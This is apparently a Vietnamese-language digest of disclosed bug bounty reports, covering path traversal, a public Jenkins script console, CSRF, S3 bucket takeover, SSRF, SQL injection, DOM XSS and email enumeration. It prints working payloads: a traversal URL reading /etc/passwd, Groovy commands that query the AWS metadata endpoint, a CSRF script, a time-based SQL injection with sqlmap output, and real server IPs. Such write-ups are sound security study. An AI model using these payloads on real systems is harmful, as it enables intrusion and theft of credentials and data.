Directory Traversal at http://staging.jsdelivr.net/
Attacker tìm thấy lỗ hổng path traversal thông qua PoC sau:
http://staging.jsdelivr.net//..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
Decode lần đầu tiên:
http://staging.jsdelivr.net//..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
Decode lần thứ 2:
http://staging.jsdelivr.net//................/etc/passwd
Ký tự %c0
và %af
đều là các ký tự không thể in ra được nên có thể chúng sẽ bị normalize và bị bỏ đi bởi server.‘
Public Jenkins Instance with /script
Enabled
Attacker tìm được một vài server chạy Jenkins instance mà cho phép sử dụng /script
endpoint để thực thi code. Các server này bị public ra ngoài internet và trong SSL cert có một vài wildcard (ban đầu attacker không biết chúng có phải của Ubiquiti hay không):
DNS Name: *.uum.com
DNS Name: *.ubnt.com
DNS Name: *.svc.ubnt.com
DNS Name: *.api.uum.com
DNS Name: *.svc.uum.com
DNS Name: uum.com
Cụ thể hơn, server được tìm thấy là https://54.191.232.223 và https://54.186.253.37.
Khi thực thi code:
"ls /".execute().text
Kết quả là:
bin
boot
dev
docker-java-home
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Nó cũng cho phép gửi request đến metadata của AWS:
"curl http://169.254.169.254/latest/meta-data/".execute().texte
Ubiquiti thừa nhận rằng các server này là của họ.
Mass Account Takeover
Tồn tại lỗ hổng misconfig cho phép attacker là chủ của một tổ chức có thể thay đổi email của bất kỳ thành viên nào trong tổ chức.
Report này ban đầu bị HackerOne staff đánh giá là Informative nhưng về sau được Stripe staff reopen và Triaged.
CSRF Allows to Test Email Forwarding
Chức năng test email forwarding của HackerOne ở endpoint /security_email_forwarding/test_forwarding.json?id=$id
không validate CSRF token trong header X-CSRF-Token
và có thể bị tấn công CSRF.
PoC script:
<script>
for (i = 300; i < 350; i++){
var url = "https://hackerone.com/$program-id/security_email_forwarding/test_forwarding.json?id="+i;
var CSRF = new XMLHttpRequest();
CSRF.open("GET", url, true);
CSRF.withCredentials = 'true';
CSRF.send();
}
</script>
Report này bị duplicate với pentest finding nên không có bounty.
S3 Bucket Takeover Presented in https://github.com/reddit/rpan-studio/blob/e1782332c75ecb2f774343258ff509788feab7ce/CI/full-build-macos.sh
Khi audit source code, attacker phát hiện file https://github.com/reddit/rpan-studio/blob/e1782332c75ecb2f774343258ff509788feab7ce/CI/install-dependencies-osx.sh
có sử dụng một S3 bucket chưa được claim (https://obs-nightly.s3-us-west-2.amazonaws.com/).
Điều này dẫn đến attacker có thể claim S3 bucket này bằng cách tạo bucket tên là obs-nightly
ở us-west-2 region rồi host các malware ở trên đó để có thể được thực thi khi có ai đó chạy code.
SSRF - pivoting in the private LAN
Tồn tại lỗ hổng SSRF ở tính năng upload từ remote server của Concrete CMS. Mặc dù có check nhưng attacker có thể bypass các check đó như sau:
- Response code phải là 200 - không khó để bypass.
- File extension: có thể bypass bằng cách sử dụng http://192.168.1.148/index.php/test.png do mọi thứ phía sau
index.php
đều bị ignored và attacker có thể kiểm soát file extension. - Một vài check được thực hiện trên IP nhưng toàn bộ public IP và private IP đều được phép.
Nội dung trả về của SSRF sẽ được tải về thông qua một endpoint khác.
SQL Injection on the Administrator Panel
Tồn tại lỗ hổng SQL Injection ở endpoint https://mtngbissau.com/webadmin/index.php:
POST /webadmin/index.php HTTP/1.1
Host: mtngbissau.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mtngbissau.com/webadmin/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Cookie: PHPSESSID=74db1535be320f591b6106253ad77191; SERVERID68971=262072|Xq8Kv|Xq8Ip
Upgrade-Insecure-Requests: 1
login=user'&pass=uesse
Attacker sử dụng sqlmap
để confirm:
[*] starting @ 21:06:44 /2020-05-03/
[18:05:44] [INFO] parsing HTTP request from 'post'
[18:06:10] [INFO] resuming back-end DBMS 'mysql'
[18:06:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: login (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login=admin' AND (SELECT 5206 FROM (SELECT(SLEEP(5)))THtF) AND 'MHhg'='MHhg&pass=admin
---
[18:06:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[18:06:45] [INFO] fetched data logged to text files under '/home/kira/.sqlmap/output/mtngbissau.com'
DOM XSS through Ads
Trang web tồn tại lỗ hổng DOM XSS trong ngữ cảnh JavaScript. Cụ thể hơn, nó load URL của quảng cáo và chèn vào thẻ <script>
kèm theo URL hiện tại:
<script type='text/javascript'>
url='https://vap3ord1.lijit.com/res/sovrn.containertag.new.min.js…252de1&loc=https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'',
Nhiều quảng cáo muốn biết rằng quảng cáo của họ được xem từ đâu nên cần phải đính kèm URL của trang web hiện tại. Và do đó mà attacker có thể thay đổi URL hiện tại để chèn payload vào URL trong thẻ <script>
Cụ thể hơn, attacker có thể chèn payload vào phần fragment và escape ra bằng cách sử dụng dấu nháy đơn.
Slack-Corp Heroku Application Disclosing Limited Info about Company Members
Attacker tìm thấy 2 email addresses của 2 nhân viên của Slack trong một test application mà không có authentication.
Hi! Security Team Rocket.Chat, It’s Possible to Get Information about the Users Emails without Authentication
Attacker có thể enumerate email của user thông qua việc phân tích sử khác biệt trong response của endpoint /api/v1/users.2fa.sendEmailCode
mà được dùng để gửi 2FA code.
Khi gửi request đến email hợp lệ:
POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
Host: rocket-chat.local:3000
Referer: http://rocket-chat.local:3000/home
Connection: close
Content-Length: 36
Content-Type: application/json;charset=UTF-8
{"emailOrUsername":"test@test.test"}
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 7
X-RateLimit-Reset: 1611804788737
content-type: application/json
Content-Length: 16
{"success":true}
Khi gửi request đến email không hợp lệ:
POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
Host: rocket-chat.local:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://rocket-chat.local:3000/home
Connection: close
Content-Length: 37
Content-Type: application/json;charset=UTF-8
{"emailOrUsername":"test2@test.test"}
HTTP/1.1 400 Bad Request
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Pragma: no-cache
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1611805550459
Content-Length: 94
{"success":false,"error":"Invalid user [error-invalid-user]","errorType":"error-invalid-user"}